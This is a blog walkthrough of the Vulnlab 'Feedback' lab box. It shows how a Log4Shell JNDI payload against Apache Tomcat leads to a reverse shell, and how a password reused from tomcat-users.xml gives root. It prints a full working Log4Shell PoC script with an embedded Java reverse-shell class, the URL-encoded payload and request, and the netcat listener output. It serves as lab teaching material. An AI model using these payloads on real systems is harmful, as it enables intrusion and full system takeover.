Vulnlab Data Walkthrough by Yunolay (LFI with path traversal, Docker privileged user)Vulnlab Feedback Walkthrough by Yunolay (Apache Tomcat Log4Shell)

Vulnlab

Buy Me a Coffee

Time it takes to read this article 6 minutes.

Overview

  • Feedback (Solo, Linux)
    • Junior Level Linux Machine
    • You will learn about exploiting a popular Java CVE

User

This box was released at the end of 2021 when there was a lot of fuzz about a new vulnerability originally found via Minecraft.

Root

Look for passwords that might be reused.

Nmap Scan

I first scanned it normally with nmap.

$ nmap -sCV -p- --min-rate 5000 10.10.93.209
...
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 23:00 EDT
Warning: 10.10.93.209 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.93.209
Host is up (0.28s latency).
Not shown: 64943 closed tcp ports (conn-refused), 590 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b7:4a:0f:08:f3:6d:39:5b:d3:6d:af:49:ba:f9:95:b6 (RSA)
| 256 f0:2d:4c:ce:19:27:77:4a:33:92:2e:d2:5d:21:2a:01 (ECDSA)
|_ 256 f0:38:cb:b1:24:0e:ab:fb:ee:78:4c:e9:75:7f:ac:3e (ED25519)
8080/tcp open http Apache Tomcat 9.0.56
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.56
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Bash

Apache Tomcat open on port 8080 is interesting.

Web – Apache Tomcat

When I accessed the website, I found that Apache Tomcat/9.0.56 was running.

I did a simple enumeration.

$ gobuster dir -u http://10.10.93.209:8080 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.93.209:8080
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/favicon.ico (Status: 200) [Size: 21630]
/feedback (Status: 302) [Size: 0] [--> /feedback/]
/manager (Status: 302) [Size: 0] [--> /manager/]
Progress: 40952 / 40954 (100.00%)
===============================================================
Finished
===============================================================
Bash

What’s interesting is feedback and manager, but what we should be looking at in terms of the machine name is feedback.

When I visited the feedback page, I came across a form.

Interestingly, it seems to log what we send.

If Apache were vulnerable to Log4Shell, this site would likely be affected.

Let’s send a simple Log4Shell payload.

${jndi:ldap://10.8.0.178:4444/a}
Bash

Please note that the payload must be URL-encoded before being sent.

%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%30%2e%38%2e%30%2e%31%37%38%3a%34%34%34%34%2f%61%7d
Bash

The name parameter value is altered to Log4Shell payload and the request is sent.

Request:

GET /feedback/logfeedback.action;jsessionid=0331AC54774EAC196405C027E7A3F022?name=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%30%2e%38%2e%30%2e%31%37%38%3a%34%34%34%34%2f%61%7d&feedback=test HTTP/1.1
Host: 10.10.93.209:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.93.209:8080/feedback/
Cookie: JSESSIONID=0331AC54774EAC196405C027E7A3F022
Upgrade-Insecure-Requests: 1
HTTP

We can confirm that there is a connect back from the server.

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.0.178] from (UNKNOWN) [10.10.93.209] 50306
0
`
Bash

User – Tomcat

Java 8 for the JNDI Server was required to create a working shell. While searching, this poc came up well.

The currently downloadable jdk is jdk1.8.0_202, so I had to modify the poc slightly, but it worked fine.

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()


def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_202/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')


def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()


def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, 'jdk1.8.0_202/bin/java'),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0


def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, "jdk1.8.0_202/bin/java"),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])


def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8000',
                        help='listener port for HTTP port')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='9001',
                        help='Netcat Port')

    args = parser.parse_args()

    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)


if __name__ == "__main__":
    main()
Python

Set up a JNDI Server using poc and send the specified payload.

$ python3 poc.py --userip 10.8.0.178 --webport 8000 --lport 4444

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.8.0.178:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.8.0.178:8000/Exploit.class
10.10.121.133 - - [30/Oct/2023 04:32:23] "GET /Exploit.class HTTP/1.1" 200 -
Bash

As a result, I was able to obtain a shell. Spawn a full bash shell using the “python3 -c ‘import pty;pty.spawn(“/bin/bash”)'” command.

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.0.178] from (UNKNOWN) [10.10.121.133] 51774
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@ip-10-10-10-7:/$
Bash

When I looked at the /home directory, I could see the user ubuntu, but there was no user.txt.

tomcat@ip-10-10-10-7:/$ cd /home
cd /home
tomcat@ip-10-10-10-7:/home$ ls
ls
ubuntu
tomcat@ip-10-10-10-7:/home$ cd ubuntu
cd ubuntu
tomcat@ip-10-10-10-7:/home/ubuntu$ ls -al
ls -al
total 32
drwxr-xr-x 5 ubuntu ubuntu 4096 Dec 11 2021 .
drwxr-xr-x 3 root root 4096 Dec 11 2021 ..
lrwxrwxrwx 1 ubuntu ubuntu 9 Dec 11 2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Apr 4 2018 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Dec 11 2021 .cache
drwx------ 3 ubuntu ubuntu 4096 Dec 11 2021 .gnupg
-rw-r--r-- 1 ubuntu ubuntu 807 Apr 4 2018 .profile
drwx------ 2 ubuntu ubuntu 4096 Dec 11 2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu 0 Dec 11 2021 .sudo_as_admin_successful
Bash

Privilege Escalation – Root

When I was doing a simple enumeration, I looked at the “/opt/tomcat/conf/tomcat-users.xml” file and found that the password was written there.

tomcat@ip-10-10-10-7:~/conf$ pwd
pwd
/opt/tomcat/conf
tomcat@ip-10-10-10-7:~/conf$ ls
ls
catalina.policy jaspic-providers.xml server.xml web.xml
catalina.properties jaspic-providers.xsd tomcat-users.xml
context.xml logging.properties tomcat-users.xsd
tomcat@ip-10-10-10-7:~/conf$ cat tomcat-users.xml
cat tomcat-users.xml
...
<user username="admin" password="H2RR3rGDrbAnPxWa" roles="manager-gui"/>
<user username="robot" password="H2RR3rGDrbAnPxWa" roles="manager-script"/>
...
tomcat@ip-10-10-10-7:~/conf$
Bash

This password “H2RR3rGDrbAnPxWa” was also used by root.

tomcat@ip-10-10-10-7:~/conf$ su root
su root
Password: H2RR3rGDrbAnPxWa

root@ip-10-10-10-7:/opt/tomcat/conf# whoami
whoami
root
root@ip-10-10-10-7:/opt/tomcat/conf# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-10-10-7:/opt/tomcat/conf# cat /root/root.txt
cat /root/root.txt
VL{<REDACTED>}
Bash

Thoughts

Although I knew about the vulnerability of Log4Shell, I had never actually exploited it, so it was a good learning experience.
However, escalating privileges to root was very easy.

 Reference

Walkthroughs

Comments

Welcome to read "Vulnlab Data Walkthrough by Yunolay (LFI with path traversal, Docker privileged user)Vulnlab Feedback Walkthrough by Yunolay (Apache Tomcat Log4Shell) - Yunolay's Blog"
Copied title and URL